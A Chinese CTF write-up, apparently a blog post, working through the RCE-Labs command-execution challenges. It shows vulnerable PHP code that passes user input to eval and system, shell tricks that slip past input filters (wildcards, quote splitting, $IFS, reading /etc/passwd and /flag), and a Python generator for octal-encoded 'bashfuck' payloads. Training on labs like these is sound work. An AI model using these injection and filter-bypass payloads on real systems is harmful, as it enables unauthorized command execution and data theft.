RCE-Labs做题记录

1、level-0

不多说,本题不需要做,只是演示脚本执行的效果

$code = "include('flag.php');
echo 'This will get the flag by eval PHP code: '.\$flag;";

$bash = "echo 'This will get the flag by Linux bash command - cat /flag: ';cat /flag";

eval($code);

echo "<br>";

system($bash);

highlight_file(__FILE__);

?>

2、level-1

本题不多说,直接传参

3、level-2

使用GET方式传递参数action,当值为r时摧毁session重置选择的函数,当值为submit时,随机选择一个函数来调用

function hello_ctf($function, $content){
    global $flag;
    $code = $function . "(" . $content . ");";
    echo "Your Code: $code <br>";
    eval($code);
}

function get_fun(){

    $func_list = ['eval','assert','call_user_func','create_function','array_map','call_user_func_array','usort','array_filter','array_reduce','preg_replace'];

    if (!isset($_SESSION['random_func'])) {
        $_SESSION['random_func'] = $func_list[array_rand($func_list)];
    }
    
    $random_func = $_SESSION['random_func'];

    $url_fucn = preg_replace('/_/', '-', $_SESSION['random_func']);
    
    echo "获得新的函数: $random_func ,去 https://www.php.net/manual/zh/function.".$url_fucn.".php 查看函数详情。<br>";

    return $_SESSION['random_func'];
}

function start($act){

    $random_func = get_fun();
    
    if($act == "r"){ /* 通过发送GET ?action=r 的方式可以重置当前选中的函数 —— 或者你可以自己想办法可控它x */
        session_unset();
        session_destroy(); 
    }

    if ($act == "submit"){
        $user_content = $_POST['content']; 
        hello_ctf($random_func, $user_content);
    }
}

isset($_GET['action']) ? start($_GET['action']) : '';

highlight_file(__FILE__);

?>

因此我们只要不断尝试就可以拿到可用函数,后面步骤老生常谈

4、level-3

本题没有什么,直接POST传参即可


system($_POST['a']);

highlight_file(__FILE__);


?>

5、level-4

本题主要是命令分隔符的知识点

&&(逻辑与运算符): 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2。例:  mkdir test && cd test

||(逻辑或运算符): 只有当第一个命令 cmd_1 执行失败(返回值不为 0)时,才会执行第二个命令 cmd_2。例:  cd nonexistent_directory || echo "Directory not found"

&(后台运行符): 将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2,两个命令并行执行。例:  sleep 10 & echo "This will run immediately."

;(命令分隔符): 无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2。例:  echo "Hello" ; echo "World"

以GET传入ip值,即可实现ping命令,同时使用命令分隔符执行其他命令即可

6、level-5

本题是一些简单的绕过,主要是

在Shell中,单/双引号 "/' 可以用来定义一个空字符串或保护包含空格或特殊字符的字符串。
例如:echo "$"a 会输出 $a,而 echo $a 会输出变量a的值,当只有""则表示空字符串,Shell会忽略它。

*(星号): 匹配零个或多个字符。例子: *.txt。
?(问号): 匹配单个字符。例子: file?.txt。
[](方括号): 匹配方括号内的任意一个字符。例子: file[1-3].txt。
[^](取反方括号): 匹配不在方括号内的字符。例子: file[^a-c].txt。
{}(大括号): 匹配大括号内的任意一个字符串。例子: file{1,2,3}.txt。

通过组合上述技巧,我们可以用于绕过CTF中一些简单的过滤:

system("c''at /e't'c/pass?d");
system("/???/?at /e't'c/pass?d");
system("/???/?at /e't'c/*ss*");

本题是过滤了 /flag/

或是

7、level-6

本题主要是对上一题绕过的加强

function hello_shell($cmd){
    if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

几乎能用的都过滤了,只留了一个 a ,够狠的,但是注意到问号没有过滤,那么我们尝试linux系统中用于base64 编码的命令行 /bin/base64 ,使用?进行模糊匹配

?cmd=/???/?a??64 /??a?

其实就是 /bin/base64 /flag 看起来有点奇怪,这样做的前提是,除去?之外的字符要能够唯一匹配到文件

解码得到flag

8、level-7

本题是空格过滤,我们可以使用 %09 $IFS ${IFS} $9 等方法来绕过,同时使用通配符绕过 /flag 过滤


function hello_shell($cmd){
    if(preg_match("/flag| /", $cmd)){
        die("WAF!");
    }
    system($cmd);
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

9、level-8

本题不会有任何回显

function hello_shell($cmd){
    /*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
    system($cmd.">/dev/null 2>&1");
}

isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;

highlight_file(__FILE__);


?>

我们同时利用重定向符和命令控制符 ; 的命令执行前后顺序的特性,将 /flag 的内容写入到一个临时文件中,再查看这个文件

?cmd=cat /flag>/tmp/flag.txt;cat /tmp/flag.txt;

为什么利用 /tmp 目录是因为该目录下的所有文件所有人可读可写

10、level-9

本题利用了 bash 终端的特性,即利用的是在终端中,$’\xxx’可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$’\xxx\xxx\xxx\xxx’的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如”ls -l”也就是$’\154\163\40\55\154′ 只能拆分为$’\154\163′ 空格 $’\55\154’三部分。

那么我们使用python脚本来生成命令

# 定义一个函数,用于统计字符串中使用的字符集等信息
def info(s):
    total = 0
    used_chars = set()
    for c in s:
        if c.isprintable() and c not in used_chars:
            total += 1
            used_chars.add(c)
    return "字符集 : " + ' '.join(sorted(used_chars)) + '\n' + f"使用字符总数: {total}" + '\n' + "原始命令长度 = " + str(
        len(s)) + '\n' + "生成的载荷 = " + s + '\n' + "---------------------------"


# 定义一个函数,将字符的 ASCII 值转换为八进制字符串
def get_oct(c):
    return (oct(ord(c)))[2:]


# 定义一个函数,生成普通的八进制编码载荷
def common_otc(cmd):
    payload = '$\''
    for c in cmd:
        if c == ' ':
            payload += '\' $\''
        else:
            payload += '\\' + get_oct(c)
    payload += '\''
    return info(payload)


# 定义一个函数,生成 bashfuck_x 形式的载荷
def bashfuck_x(cmd, form):
    bash_str = ''
    for c in cmd:
        bash_str += f'\\\\$(($((1<<1))#{bin(int(get_oct(c)))[2:]}))'
    payload_bit = bash_str
    payload_zero = bash_str.replace('1', '${##}')  # 用 ${##} 来替换 1
    payload_c = bash_str.replace('1', '${##}').replace('0', '${#}')  # 用 ${#} 来替换 0
    if form == 'bit':
        payload_bit = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_bit + '\\\''
        return info(payload_bit)
    elif form == 'zero':
        payload_zero = '$0<<<$0\\<\\<\\<\\$\\\'' + payload_zero + '\\\''
        return info(payload_zero)
    elif form == 'c':
        payload_c = '${!#}<<<${!#}\\<\\<\\<\\$\\\'' + payload_c + '\\\''
        return info(payload_c)


# 定义一个函数,生成 bashfuck_y 形式的载荷
def bashfuck_y(cmd):
    oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造
        '$(())',  # 0
        '$((~$(($((~$(())))$((~$(())))))))',  # 1
        '$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6
        '$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
    ]
    bashFuck = ''
    bashFuck += '__=$(())'  # 设置 __ 为 0
    bashFuck += '&&'  # 拼接
    bashFuck += '${!__}<<<${!__}\\<\\<\\<\\$\\\''  # 得到 'sh'

    for c in cmd:
        bashFuck += '\\\\'
        for i in get_oct(c):
            bashFuck += oct_list[int(i)]

    bashFuck += '\\\''

    return info(bashFuck)


# 定义一个函数,生成各种形式的载荷
def Generate(cmd):
    print("命令: " + cmd)
    print("生成的载荷如下:")
    print(common_otc(cmd))
    print(bashfuck_x(cmd, 'bit'))
    print(bashfuck_x(cmd, 'zero'))
    print(bashfuck_x(cmd, 'c'))
    print(bashfuck_y(cmd))


# 主函数
def main():
    print("本程序用于为 Bash 生成执行给定命令的载荷。程序利用 Bash 的算术和参数扩展功能,生成不同形式的载荷,以提高绕过的机会。")
    cmd = input("请输入你的命令:")
    Generate(cmd)


if __name__ == '__main__':
    main()

接下来就没什么好说的了,直接执行命令即可

11、level-10

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇